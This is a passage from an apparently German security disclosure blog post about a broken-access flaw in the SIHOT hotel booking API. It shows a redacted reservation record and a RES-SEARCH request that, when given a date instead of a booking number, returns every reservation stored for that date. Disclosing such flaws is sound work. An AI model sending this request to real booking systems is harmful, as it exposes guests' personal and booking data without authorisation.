&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;CREATION_DATE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;██-█-█&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;CENTRALGUEST_ID&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;0&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;MATCHCODE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;ASSIGNED_TO&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;INTERNET_PWD&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PICKUP_CITY_DEPARTURE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;NAME&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;███&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PICKUP_AMOUNTADULTS_ARRIVAL&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;0&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;CAT&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;██&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;POINTS_LIST&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;ADDRESS&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;NN&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;OPTIONUNTIL&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;NAME1X&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PICKUP_AMOUNTBAGGAGE_DEPARTURE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;0&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;DOCUMENT_EXPIREDATE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;ISOVERBOOKED&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;N&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;RATE&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;CURRENCY&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;EUR&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;R&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;██&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;ISDEFAULT&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Y&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PRICE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;██&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;QUANTITY&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;1&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;GUEST_RATE_TYPES&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;GUEST_RATE_TYPE&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;					&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;GUEST_RATE_TYPE_DESC&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;█████████&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;					&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;GUEST_RATE_TYPE_KEY&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;██████&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				},
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;RATE_SEGMENT&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;DAYS&amp;#34;&lt;/span&gt;: [
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				{
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;					&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PRICE_TOTAL&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;██&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;					&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;D&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;██-█-█&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;					&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PRICE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;██&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				},
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				{
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;					&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PRICE_TOTAL&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;██&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;					&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;D&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;██-█-█&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;					&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PRICE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;██&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				],
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;ISPACKAGE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Y&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PRICE_CUR&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;██&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			},
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PICKUP_AMOUNTCHILDSEATS_DEPARTURE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;0&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;STATE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PICKUP_COUNTRY_DEPARTURE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;EXT_REFERENCE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;LANG&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;DE&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;VOUCHERNUMBER&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;WEB_PRE_CHECKIN&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;N&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;ISBUMPEDOUT&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;N&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PICKUP_AMOUNTCHILDREN_ARRIVAL&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;0&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;INVOICEHOLDER_LIST&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;DEFAULTPAYMENTTYPE&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PAYMENTTYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;CCLIST&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;CCHANDLE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;CCNO&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			},
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;DOCUMENT_TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;DEP_TIME&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;CURRENCY&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;EUR&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;T_POST_COMMISSION&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;1&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PICKUP_TYPE_DEPARTURE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;T_TITLE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PICKUP_AMOUNTBAGGAGE_ARRIVAL&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;0&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PICKUP_CITY_ARRIVAL&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;DEP&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;██-█-█&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;FAX1&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;CITY2&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;FAX2&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;EXTCOMMENT_C&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;POST_AREA&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;VIP&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;VIP2&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;		},
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;		&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;OC&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;RES-SEARCH&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;		&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;TN&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;████████████&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;		&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;SIHOT_PROPERTY&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;		&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;UUID&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;████-██-██-██-███████&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;		&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;NAME&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;█████████████████&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;		}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/details&gt;
&lt;p&gt;Doch wir sehen schnell, dass wir die Reservierungsnummer gar nicht bräuchten, denn &lt;a href=&#34;https://partner.sihot.com/INTR/INTR18/#operationcode-res-search&#34;&gt;der Endpunkt akzeptiert auch andere Suchparameter&lt;/a&gt;&lt;sup id=&#34;fnref:2&#34;&gt;&lt;a href=&#34;#fn:2&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;2&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;
&lt;p&gt;Statt der Reservierungsnummer können wir auch angeben, &lt;em&gt;wann&lt;/em&gt; wir in dem Hotel sind und bekommen&amp;hellip; eine Liste aller Reservierungen an diesem Datum.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-json&#34; data-lang=&#34;json&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;SIHOT_DOCUMENT&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;OC&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;RES-SEARCH&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;TN&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;ID&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;FROM&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;2025-01-01&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;TO&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;2025-01-01&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;SCOPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;NOTIMESHARE;NORESCHANNELS;NOCCLIST;NODEPOSIT&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Das ist in etwa so als würden wir an der Hotel-Rezeption statt unserem Namen einfach selbstbewusst &lt;em&gt;»Ich übernachte heute hier!«&lt;/em&gt; sagen und als Antwort bekämen wir einen großen Aktenordner mit &lt;em&gt;allen&lt;/em&gt; Buchungen von heute.
&lt;em&gt;»Suchen sie sich kurz selbst Ihre Buchung raus, ja?«&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Das heißt: Der Zugriff auf sämtliche im Buchungssystem gespeicherten Daten ist für alle Neugierigen mit grundlegendem technischen Verständnis möglich.
Und zwar nicht nur für Buchungen, die direkt über die Buchungsplattform &lt;em&gt;SIHOT.WEB&lt;/em&gt; gebucht wurden, sondern &lt;em&gt;alle&lt;/em&gt; Buchungen, die das System kennt.
Dort sind auch die Buchungen enthalten, die das Hotelpersonal selbst einträgt - aber auch Buchungen, die über Drittanbieter und Portale wie Expedia, Booking.com oder Reiseagenturen ins System gelangen.&lt;/p&gt;
